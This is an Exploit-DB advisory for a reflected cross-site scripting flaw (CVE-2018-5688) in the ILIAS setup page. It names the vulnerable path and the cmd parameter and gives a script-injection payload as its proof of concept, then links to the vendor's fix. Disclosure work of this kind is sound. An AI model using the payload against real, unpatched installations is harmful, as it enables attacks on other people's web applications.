ILIAS < 5.2.4 - Cross-Site Scripting

EDB-ID: 43595
Author: Florian Kunushevci
Published: 2018-01-15
CVE: CVE-2018-5688
Type: Webapps
Platform: PHP
Vulnerable App: Download Vulnerable Application

 # Date: Apr 24, 2017 
# Software Link: https://www.ilias.de
# Exploit Author: Florian Kunushevci
# Contact: https://facebook.com/florianx00
# CVE: CVE-2018-5688
# Category: webapps

1. Description

ILIAS before 5.2.4 has XSS via the cmd parameter to the displayHeader
function in setup/classes/class.ilSetupGUI.php in the Setup component.

2. Proof of Concept

Location : /setup/setup.php
Parameter : ?cmd=
Payload : "><script>alert(1)</script>

3. Solution:

https://www.ilias.de/docu/goto.php?target=lm_1719&client_id=docu

4. References:

https://nvd.nist.gov/vuln/detail/CVE-2018-5688
https://www.ilias.de/docu/goto_docu_pg_75029_35.html

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